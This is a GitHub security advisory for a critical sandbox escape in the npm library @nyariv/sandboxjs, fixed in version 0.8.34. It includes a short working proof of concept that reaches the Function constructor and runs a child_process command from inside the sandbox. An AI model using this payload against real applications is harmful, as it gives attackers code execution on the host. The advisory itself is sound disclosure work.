GitHub Advisoryadvisory · npm

GHSA-6r9f-759j-hjgv SandboxJS affected by a Sandbox Escape

CRITICAL Published 2026-03-13 Modified 2026-03-16 Official page ↗
Aliases
CVE-2026-26954
Ecosystem
npm
Packages
@nyariv/sandboxjs
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-03-13

Affected packages

• npm @nyariv/sandboxjs: < 0.8.34 → fixed in 0.8.34

Description

Summary It is possible to obtain arrays containing `Function`, which allows escaping the sandbox. Details There are various ways to get an array containing `Function`, e.g. ```js Object.entries(this).at(1) // [ 'Function', [Function: Function] ] Object.values(this).slice(1, 2) // [ [Function: Function] ] ``` Given an array containing `Function`, and `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox. PoC ```js const s = require('.').default; const sb = new s(); payload = ` const p = (async function () {})(); ({ "finally": p.finally, ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]), }).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')(); `; sb.compile(payload)().run(); ``` Impact Sandbox Escape -> RCE

Related

Alias · CVE (1)

  • CVE-2026-26954 SandboxJS is a JavaScript sandboxing library. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References